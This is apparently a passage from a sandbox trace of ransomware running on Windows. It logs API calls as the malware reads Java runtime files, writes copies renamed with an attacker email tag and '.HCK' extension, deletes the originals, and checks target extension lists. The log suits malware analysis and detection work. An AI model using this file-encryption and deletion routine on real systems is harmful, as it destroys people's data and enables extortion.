(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0226.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.205] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.205] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0226.206] GetLastError () returned 0x0 [0226.206] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xfe8, lpOverlapped=0x0) returned 1 [0226.208] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xff0, lpOverlapped=0x0) returned 1 [0226.209] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.209] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0226.209] SetEndOfFile (hFile=0x4a4) returned 1 [0226.209] CloseHandle (hObject=0x4a4) returned 1 [0226.209] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.209] SetEndOfFile (hFile=0x448) returned 1 [0226.211] CloseHandle (hObject=0x448) returned 1 [0226.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.212] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0226.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.212] lstrlenW (lpString=".doc") returned 4 [0226.212] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.212] lstrlenW (lpString=".docx") returned 5 [0226.212] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.212] lstrlenW (lpString=".pdf") returned 4 [0226.212] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.212] lstrlenW (lpString=".xls") returned 4 [0226.212] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.212] lstrlenW (lpString=".xlsx") returned 5 [0226.212] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.213] lstrlenW (lpString=".ppt") returned 4 [0226.213] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".zip") returned 4 [0226.213] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".rar") returned 4 [0226.213] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".bz2") returned 4 [0226.213] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".7z") returned 3 [0226.213] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".dbf") returned 4 [0226.213] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".1cd") returned 4 [0226.213] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".jpg") returned 4 [0226.213] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".doc") returned 4 [0226.213] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".docx") returned 5 [0226.213] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.213] lstrlenW (lpString=".pdf") returned 4 [0226.213] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".xls") returned 4 [0226.213] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".xlsx") returned 5 [0226.213] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.213] lstrlenW (lpString=".ppt") returned 4 [0226.213] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".zip") returned 4 [0226.213] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".rar") returned 4 [0226.213] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".bz2") returned 4 [0226.213] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString=".7z") returned 3 [0226.213] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".dbf") returned 4 [0226.213] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".1cd") returned 4 [0226.213] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0226.213] lstrlenW (lpString=".jpg") returned 4 [0226.213] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.214] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.214] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0226.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.215] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3752) returned 1 [0226.215] CloseHandle (hObject=0x448) returned 1 [0226.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0226.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.216] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.216] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0226.216] GetLastError () returned 0x0 [0226.216] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xea8, lpOverlapped=0x0) returned 1 [0226.218] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0226.219] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.219] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0226.219] SetEndOfFile (hFile=0x4a4) returned 1 [0226.219] CloseHandle (hObject=0x4a4) returned 1 [0226.219] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.219] SetEndOfFile (hFile=0x448) returned 1 [0226.374] CloseHandle (hObject=0x448) returned 1 [0226.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.680] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0226.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.681] lstrlenW (lpString=".doc") returned 4 [0226.681] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString=".docx") returned 5 [0226.681] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.681] lstrlenW (lpString=".pdf") returned 4 [0226.681] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString=".xls") returned 4 [0226.681] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString=".xlsx") returned 5 [0226.681] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.681] lstrlenW (lpString=".ppt") returned 4 [0226.681] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.681] lstrlenW (lpString=".zip") returned 4 [0226.681] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString=".rar") returned 4 [0226.681] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString=".bz2") returned 4 [0226.681] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString=".7z") returned 3 [0226.681] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.681] lstrlenW (lpString=".dbf") returned 4 [0226.681] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.681] lstrlenW (lpString=".1cd") returned 4 [0226.681] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.681] lstrlenW (lpString=".jpg") returned 4 [0226.682] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.682] lstrlenW (lpString=".doc") returned 4 [0226.682] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString=".docx") returned 5 [0226.682] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.682] lstrlenW (lpString=".pdf") returned 4 [0226.682] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString=".xls") returned 4 [0226.682] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString=".xlsx") returned 5 [0226.682] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.682] lstrlenW (lpString=".ppt") returned 4 [0226.682] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.682] lstrlenW (lpString=".zip") returned 4 [0226.682] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString=".rar") returned 4 [0226.682] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString=".bz2") returned 4 [0226.682] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString=".7z") returned 3 [0226.682] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.682] lstrlenW (lpString=".dbf") returned 4 [0226.682] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.682] lstrlenW (lpString=".1cd") returned 4 [0226.682] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0226.682] lstrlenW (lpString=".jpg") returned 4 [0226.682] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.682] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.682] lstrlenW (lpString="sunmscapi.jar") returned 13 [0226.682] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.683] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=32699) returned 1 [0226.683] CloseHandle (hObject=0x438) returned 1 [0226.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0226.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.683] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.683] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.683] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.683] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0226.684] GetLastError () returned 0x0 [0226.684] ReadFile (in: hFile=0x438, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0226.686] WriteFile (in: hFile=0x498, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0226.687] ReadFile (in: hFile=0x438, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.687] WriteFile (in: hFile=0x498, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xee, lpOverlapped=0x0) returned 1 [0226.687] SetEndOfFile (hFile=0x498) returned 1 [0226.687] CloseHandle (hObject=0x498) returned 1 [0226.687] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.687] SetEndOfFile (hFile=0x438) returned 1 [0226.690] CloseHandle (hObject=0x438) returned 1 [0226.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.690] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0226.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.698] lstrlenW (lpString=".doc") returned 4 [0226.698] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.698] lstrlenW (lpString=".docx") returned 5 [0226.698] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0226.699] lstrlenW (lpString=".pdf") returned 4 [0226.699] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".xls") returned 4 [0226.699] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".xlsx") returned 5 [0226.699] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0226.699] lstrlenW (lpString=".ppt") returned 4 [0226.699] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString=".zip") returned 4 [0226.699] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".rar") returned 4 [0226.699] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".bz2") returned 4 [0226.699] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.699] lstrlenW (lpString=".7z") returned 3 [0226.699] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString=".dbf") returned 4 [0226.699] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString=".1cd") returned 4 [0226.699] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString=".jpg") returned 4 [0226.699] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString=".doc") returned 4 [0226.699] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.699] lstrlenW (lpString=".docx") returned 5 [0226.699] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0226.699] lstrlenW (lpString=".pdf") returned 4 [0226.699] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".xls") returned 4 [0226.699] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".xlsx") returned 5 [0226.699] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0226.699] lstrlenW (lpString=".ppt") returned 4 [0226.699] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.699] lstrlenW (lpString=".zip") returned 4 [0226.699] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.699] lstrlenW (lpString=".rar") returned 4 [0226.700] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.700] lstrlenW (lpString=".bz2") returned 4 [0226.700] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.700] lstrlenW (lpString=".7z") returned 3 [0226.700] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.700] lstrlenW (lpString=".dbf") returned 4 [0226.700] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.700] lstrlenW (lpString=".1cd") returned 4 [0226.700] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0226.700] lstrlenW (lpString=".jpg") returned 4 [0226.700] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.700] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.700] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0226.700] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.701] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=251327) returned 1 [0226.701] CloseHandle (hObject=0x438) returned 1 [0226.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0226.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.701] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, 